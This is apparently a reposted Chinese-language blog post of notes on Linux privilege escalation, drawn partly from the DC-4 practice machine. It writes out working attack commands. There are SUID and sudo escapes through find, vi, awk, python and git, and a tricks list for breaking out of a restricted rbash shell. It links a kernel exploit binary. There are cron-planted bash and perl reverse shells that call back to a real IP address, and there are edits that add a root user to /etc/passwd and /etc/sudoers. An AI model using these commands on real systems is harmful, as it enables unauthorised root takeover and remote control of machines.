linux提權方法(不斷總結更新)

1.suid提權

運行某些程序時暫時得到root的權限,例如ping(socket須要root才能運行)

搜索符合條件的能夠用來提權的:php

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
三種均可以

搜索能夠提權的程序,通常有如下 :python

nmap vim find Bash More Less Nano cp

舉例:find提權linux

find / -perm -u=s -type f 2>/dev/null

Snipaste_2019-12-13_21-05-13.png

發現find能夠利用git

普通用戶,進入到/tmp目錄下,而後新建一個文件。github

touch abcd
find abcd -exec whoami \;

Snipaste_2019-12-13_21-05-59.png

會發現已是root權限shell

2.rbash繞過

rbash就是受限制的bash,通常管理員會限制不少命令,例如whoami cd cat等不少經常使用的命令,不過確定會有命令可使用,咱們能夠查看$PATH有哪些,或者本身挨個試
echo $PATH  #查看本身可使用的命令

Snipaste_2019-12-13_21-27-29.png

less,ls,scp,vi 是咱們能夠用的

嘗試用如下來繞過ubuntu

#幹就完事了
1.
vi test
:!/bin/sh
2.ed
3.ne
4. more less
more test 
!'sh'
5.
man ls
操做同more less
6.find
/usr/bin/find /etc/passwd  -exec whoami \;
/usr/bin/find /etc/passwd  -exec /bin/sh \;
7.nmap
低版本
8.awk
awk 'BEGIN {system("/bin/sh")}'
9.python
python -c "import os;os.system('whoami')"
python -c "import os;os.system('/bin/sh')"
python -c "import pty;pty.spawn('/bin/sh')"
10.ruby
11.perl
12.php
13.
BASH_CMDS[a]=/bin/sh;a

最後用13成功繞過了rbash,進入了人shvim

Snipaste_2019-12-13_21-39-19.png
趕忙試試用/bin/bash進入bash,沒有權限的提高,我就以爲這個好用,能用tab補全
執行:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

或者:PATH=$PATH:/bin
PATH=$PATH:/usr/bin
就能夠正常使用了

3.git提權

sudo git help config
	!/bin/bash或者!'sh'完成提權

sudo git  -p help
	!/bin/bash

4.Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation

下載地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zipruby

Snipaste_2019-12-19_10-22-35.png

5.sudoer配置文件錯誤提權

5.1 基礎知識

有的時候,普通用戶常常要執行某個命令,可是常常須要sudo輸入密碼,咱們就能夠經過配置/etc/sudoers文件來實現普通用戶某個命令權限的提高,可是若是一旦是給了用戶寫入的root權限,好比vi,那麼這個普通用戶一旦被入侵,就能夠經過vi來提權
首先來看/etc/sudoers
chmod u+w /etc/shudoers
vi /etc/sudoers
看到這裏
# User privilege specification
root    ALL=(ALL:ALL) ALL

Snipaste_2019-12-20_20-12-05.png

root:表明用戶
第一個ALL:之網絡中的主機,我也不知道什麼意思,可是這個all仍是不動好了
第二個(ALL:ALL):指以誰的身份去執行,root就好了
第三個ALL:指全部的命令,能夠本身制定,好比/bin/ls,/bin/nc
看下面的圖:
表明了用戶zaq能夠以root的權限運行ls指令

Snipaste_2019-12-20_20-34-52.png

前邊要加sudo,能夠看到zaq用戶成功查看了/root目錄的結構

Snipaste_2019-12-20_17-30-18.png

sudo -l 顯示出本身(執行 sudo 的使用者)的權限

Snipaste_2019-12-20_20-46-23.png

5.2 提權

若是這個/bin/ls變成了能夠寫入文件的命令會怎麼辦呢?好比:
/usr/bin/tee
這是在DC-4靶機上遇到的


#####################################################################
先看如下tee的用法
zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help
Usage: /usr/bin/tee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.

  -a, --append              append to the given FILEs, do not overwrite
  -i, --ignore-interrupts   ignore interrupt signals
  -p                        diagnose errors writing to non pipes
      --output-error[=MODE]   set behavior on write error.  See MODE below
      --help     display this help and exit
      --version  output version information and exit
####################################################################

把輸入寫入文件,若是是-a的話就會在最後新起一行追加內容

1.corntab反彈shellbash

當 /bin/sh指向/bin/dash的時候(ubuntu默認這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈:
* * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"

這樣彈shell的時候不知道爲何很慢,耐心等等

Snipaste_2019-12-20_20-06-26.png

Snipaste_2019-12-20_20-06-41.png

或者:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Snipaste_2019-12-20_20-03-53.png

Snipaste_2019-12-20_20-04-11.png

2.suid

Snipaste_2019-12-20_21-17-33.png

值得注意的是:chmod 4777 /bin/bash不會有這種效果(曾經看到這個解答,我給忘了,你不用管爲何了,本身試試就行了)

3.passwd添加用戶

test:x:0:0::/home/admin:/bin/bash

Snipaste_2019-12-20_21-22-05.png

4.sudoers文件

echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
相關文章
相關標籤/搜索